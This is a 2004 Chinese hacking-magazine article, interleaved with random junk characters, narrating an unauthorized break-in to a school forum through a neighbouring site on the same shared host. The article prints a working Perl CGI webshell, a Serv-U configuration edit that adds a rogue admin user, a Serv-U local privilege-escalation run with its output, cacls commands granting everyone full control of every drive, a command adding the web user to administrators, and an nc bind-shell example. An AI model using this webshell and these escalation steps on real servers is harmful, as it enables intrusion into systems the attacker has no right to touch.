剑走偏锋——灵巧的旁注攻击
' F0 N5 l; G" \本文作者:angel
. @9 T$ I2 v0 v# s5 R9 o2 t文章性质:原创
2 k5 J$ V$ r- l9 Z$ K/ J发布日期:2004-11-09 + X9 o. m8 j$ ~0 q
注意:
( B$ L. ~$ b+ e+ |2 I$ ~% s本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。6 e# ~2 O& o2 P1 X. L" n7 p
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
& t4 @% a. b6 n6 y- Z; z
8 @- |5 A6 w$ x* f, e0 Y8 r4 _ 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
' d: {) O8 T, F1 H6 ?" r5 R- g- o
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 - ^" i V% C/ R5 }9 F% d# L- x4 }
' r+ J! w3 J) K& l% j+ D6 x
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
+ ` G! Z9 I' s7 o7 y! R& N, e' q% X" r& |; |5 I2 y5 c- R& [ g
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 # f# d$ }) i" V$ M7 h9 d. i5 _- s% Y
1 N/ u* i+ y9 Y, r7 A
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
: N$ X& \8 o2 ]/ g6 L
: s0 u2 Z l$ F7 N. a6 _6 \ 没有目的的跳转目录着……
7 g w8 z. Z/ b- T$ B! e7 U9 F' J+ `* n6 C4 p' B) M) q1 t
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ! R0 h1 }, p2 c) Z( ?. f" ~' G8 a
. }; Z5 x0 T: a% I. T* D# h: ?1 o 结束了吗?不,我试着 FTP 一下:
9 A- U. g$ d/ G+ i
- Z9 I. p) P8 d# f+ NMicrosoft Windows 2000 [Version 5.00.2195]
7 S2 C( j' a$ J5 C, G(C) 版权所有 1985-2000 Microsoft Corp.
4 A: N: b4 ^; J" u% j- s6 M. _. |* m
C:\Documents and Settings\Administrator>ftp www.school.com
z Q" p: u/ F; S1 jConnected to www. school.com. ' R! ` K a6 z8 c
220 Welcome to FTP Server... ' |3 ~) _2 n+ Y. a5 s
User (www.bjtrq.com:(none)): ) `4 M0 [, D: x9 x
331 User name okay, need password.
2 v9 _; K. B* hPassword:
. B4 H/ `6 i% c2 R- K* Z( X8 {& |530 Not logged in. : Q4 X+ W# z6 J# a& [0 M% a
Login failed.
2 G4 T4 \) K, X6 u" A" r) S4 ~ftp> bye
1 E- ~+ A! c, T221 Goodbye!
& r# y, }7 e/ j1 f3 p5 a* K" L2 ] 3 J6 [6 ^4 H1 z, u9 R2 d
* z- Z/ R9 r+ G" j" r" F 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 5 g o/ I1 H9 Q2 _( k
3 S! o2 r) l- S T: S/ }/ C$ k$ v
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
6 c4 e* {/ c" A# [# M f1 `7 e* _* g. n5 ?
Application Data6 v3 U9 g+ e* T1 J0 P/ m
Documents; A0 c7 X5 l5 W2 S
DRM% }) C' M9 B m$ s1 j% g
Favorites. }' M$ J- |6 j$ G7 |, u4 q. B5 t
Templates
* ^% G2 n8 v& @" r! _% p, \「开始」菜单6 ?; e5 k9 V Y/ g2 }' v
桌面; x* x* p7 ^: L5 T) _9 j0 w
9 X9 ` _% I+ }3 g- p: X) r7 m! v* b1 J6 u4 `
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, # b3 g$ W7 X; z$ f$ O% c
' G0 O) K; z4 I* e3 `- B& w
ActiveState ActivePerl 5.8
' [2 a3 n8 J: o1 iAdministrative Tools
! d6 n$ @9 T; TDeerfield.com5 w2 Z' q- h8 g9 w
DTemp% U6 }9 s* Q2 J
IPSentry# [8 Y1 C- q" _ m7 k
MBM 5" i7 T( q9 J5 v" z* h
NetMeter$ i% ~' y( i# s7 j, X3 }5 W# @" `, [
Network ICE7 B# z* V. J+ m, F* w9 o" r
Persits Software AspEmail
3 [% I+ x4 F: @% o# RPersits Software AspJpeg) l- y) m8 o/ v5 A% T1 T/ G9 M
Serv-U FTP Server
( u/ K" H% f/ cSymantec Client Security
4 X/ c' y5 Z. p4 j5 x3 T3 ]1 N6 UWindows 优化大师
8 K$ ^6 z* J" L2 z! ~" h7 A' eWinRAR
# M( P2 l2 F3 L0 r/ o) v7 W启动
2 ^6 g" Y7 e. t管理工具
7 k+ F7 K6 W# L# d附件
0 f7 Q& B- Z x- Q+ s. O
; L0 j& o" l r2 l
6 y$ P5 y3 K% `$ W% K% S 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
* R& I: K ~" N
+ d; T5 X/ r$ p2 X. y1 ? L 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 4 Z( {. b4 U8 S% e4 A
6 _& w& h. z5 |& h7 }
User281=angel|1|0
' [/ B3 T9 K2 ~$ C K
p0 u) @; A( }1 O" @$ p2 I; b/ K/ v0 a) e+ j- [6 o
然后加上 # c+ |0 `% q, r; F# y
4 i* a {- J& j* A( {[USER=angel|1]
) B# g- o4 L. @% g0 N3 V f+ GPassword=ng98F85379EA68DBF97BAADCA99B69B8054 T' u' ]) Z9 f/ _3 i* s5 i% t
HomeDir=D:\websites
9 n$ G8 g. W/ j' \& e. xRelPaths=1
7 c. [9 Q6 e! T; rTimeOut=600# a' I! @0 G- f
Maintenance=System
; K) k7 C* C! K, I! L XAccess1=D:\websites|RWAMELCDP
5 |& z( m; T0 t3 W% N4 ^SKEYValues=# p1 v2 k) |8 M
* @1 X4 l* u1 z: _
1 r% [# \$ K; ^ 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… & Z9 r; x1 S1 R8 n$ \7 O2 U
: w5 D& G. Y3 g$ F 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
' L0 g4 u( P; `5 z. f/ @' k; U* F3 p, C# b' S D
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
: q: `) Y& d3 F' }: S4 ]
5 l7 M* u9 f' S# D 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
[3 }* u5 T% c* B0 _) u# [$ X z/ c) I& C% G
#!/usr/bin/perl
/ A. k: L: R, H$ O& }1 D4 ]. m4 G/ Ebinmode(STDOUT);3 \/ X b F1 i
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);, ]& h4 u' Y/ e+ Z
$_ = $ENV{QUERY_STRING};
9 z3 O& p* h9 T" C9 Ns/%20/ /ig;- B5 W9 U. _- {3 O
s/%2f/\//ig;
) P4 j/ W- d2 E$ c0 e7 L) B3 j$execthis = $_;
* X/ |2 f _; M. Y: a7 e( Y2 Fsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
# } a: `2 g% f# ]# p& Y/ L) H; ~, {open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";* W K9 m# g9 @- p: Y- O( o$ @
system($execthis);: v: ^- G+ Q* g
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);. r) z! d& P/ m$ c* e
close(STDERR);
' D# ]2 [ _% l: M' Yclose(STDOUT);& R" @* T+ N; K
exit;
* q# D* G& W2 Z9 e1 V 8 _2 e. X# i, A0 i5 H
& i* H0 b) Z4 ?7 F, F7 ^: z! S
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
* _, r/ [' Y" D- u& V8 R# t5 L% n+ y- |8 O1 [
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ( u2 @! x9 {9 Y+ A# _/ D
* a" i% f9 l# s8 ^
http://anyhost//cmd.pl?d:\user\bin\su.exe
" k/ h$ Q: k: J& { - p# F" j; Y& l) i* }) u& j. V& }
/ u$ c+ s F! W 返回: : T! y0 t8 p' v3 w) O. r
" l9 x, m3 l9 @ Q
Serv-u >3.x Local Exploit by xiaolu
5 t+ S) H. ?$ V' W: T: {% r8 }! M! E/ E4 I1 A% G
USAGE: serv-u.exe "command" ! W. C( y5 M: e
1 E6 K# b; d- E! Y1 h8 m i
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ' e, u9 v5 ^ T$ F7 y( a" L7 a
: ], z2 h# n8 U" u% ~/ I u
& h, h9 \( B* b1 r 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: + ?5 y( v/ E" m5 G/ o
; [! ^9 t4 Y1 v) O# z T4 A
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
9 ~& @5 A7 } x7 j3 I" L2 `" O t& a; u' r6 k% p
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 6 X9 @( Z. Q c& L8 f. r% o, `
. k7 a" w( z0 i8 W; y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" / I; G2 h5 [8 B
+ M4 l& I0 {) Z& k3 u: j+ T& _* ^http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 4 ^! d: T( j( ]- ^% N9 ]
" K( e! @; ]! o1 A+ z# k
9 m4 J+ ^: L$ H6 M6 J+ { 返回下面的信息,就表示成功了!!! : t. G, G+ Y" ^2 O
2 ?# n. S5 O0 K5 b" W9 a% N% e, JServ-u >3.x Local Exploit by xiaolu
, b0 P4 d. s& t7 k8 p
1 p& q4 d, ]0 F1 B, u) i<220 Serv-U FTP Server v5.2 for WinSock ready... : a7 }/ p2 h3 {$ J4 A# A2 X
( i, K" P% s" w
>USER LocalAdministrator
5 }! o' t3 J: D6 b( I* d9 O
# i: X0 c, P$ @9 q<331 User name okay, need password. 1 s- p- J2 h1 ~/ F: i" Z+ z
8 X, E8 w2 d$ ~. P5 q( v
******************************************************
) S1 p+ [8 K L7 m; V& x0 H) W: C# g( f) z0 ^
>PASS #l@$ak#.lk;0@P
: @4 m" q) q2 V! n$ L# W
* X" t* A: v5 _! d; R3 R) ?6 r<230 User logged in, proceed. ! a6 h1 ~" u8 Z3 T2 k
: W$ Z. M+ F1 O) v
******************************************************
$ X: ^5 A0 y* A: T
X9 G* `' N& Y; r/ ?' c# g: g>SITE MAINTENANCE
/ X3 A w( Q; \
2 T1 Q& _, P5 Y" L& ?****************************************************** ! E1 d' ]1 N; \, V
& m- R2 {' z# u
[+] Creating New Domain...
. ]; w Q! h u$ i6 m& M! S2 m, S5 M9 \
<200-DomainID=2
7 S3 S( T, e) Y5 {/ e7 k- ]
* h' h' E! Y3 q3 L2 }6 d<220 Domain settings saved ( ^$ G' Z2 _# d' K+ F8 y+ U
7 v( J- ]0 S+ g4 ]6 t
****************************************************** * s# e1 @8 Q' E
, m% S6 n* \6 C! c! r4 C+ y/ d[+] Domain xl:2 Created
. N" ~9 y. K* f( u3 }& q- y. [2 ~4 x8 x
[+] Creating Evil User
+ J- }4 q% j* q$ a5 L
" G( I- n) Q* M t1 t- x* v3 u<200-User=xl 8 Q& i2 J' @& `3 l# z: G) C( Y4 Z
; ^$ W& t0 Y7 o4 i+ u; D, }# u200 User settings saved , l/ |2 z3 ^$ s
# E7 u$ s; p9 I******************************************************
2 v2 ^- r' [$ r! L1 g9 t# t' t8 |
[+] Now Exploiting... 1 l% p' `: Q1 F
2 b$ \% k2 r3 L1 J7 w5 J+ ?$ ?>USER xl ; E# j3 z* y5 U& V
4 K' S, q! p2 V+ |; f1 N
<331 User name okay, need password.
/ ]: F( D. v& u* o' Q: }. a. v w* p# `: m5 h8 s
****************************************************** + I9 o( u" {* `; Y% ~! r d
; P, s6 n0 q* ]9 j" p3 h6 }. t. N>PASS 111111 / X2 @; d" t8 d: A7 x5 Q$ G! V
* k( \2 c- Y& O* J+ i& S, j
<230 User logged in, proceed.
5 J, }! d/ y* K) N# T$ t, ~2 B q8 \- ?8 l, F
******************************************************
( W, h% _) R) v2 S. r5 `) c0 O. n" R. Z) v
[+] Now Executing: cacls.exe c: /E /T /G everyone:F # o3 B, |2 \2 G4 P% _9 M3 M
# r+ `6 O+ X, Q7 ]( ]" i
<220 Domain deleted
9 e" S6 H. p$ J5 {
/ j6 N, p, f* Q& }****************************************************** 9 y% `* O' K0 X" m# O. H
' m1 y: p0 @7 h4 e$ @" s
9 |% v: W3 _: @1 y% T1 i 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
' A8 N0 }6 I" T* E2 G7 r( G0 h( Y5 F, i9 e% h0 z6 ?
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ! S/ o) o8 m7 M1 y3 ~$ F
: F" }1 x7 a( ?1 I: \; Z l% }* ]
1 Y, W; Q; O# d* V F. v 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
4 A4 w$ U/ x3 I' \! q: [+ |8 t% N# L6 V k' P: L
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。1 n% ^9 X" M1 E F8 b6 u% Y# ^0 q
2 Y- ?$ b% k+ o: C7 F) k' D
. }0 p0 o# E! U5 v% g5 W1 b" ] |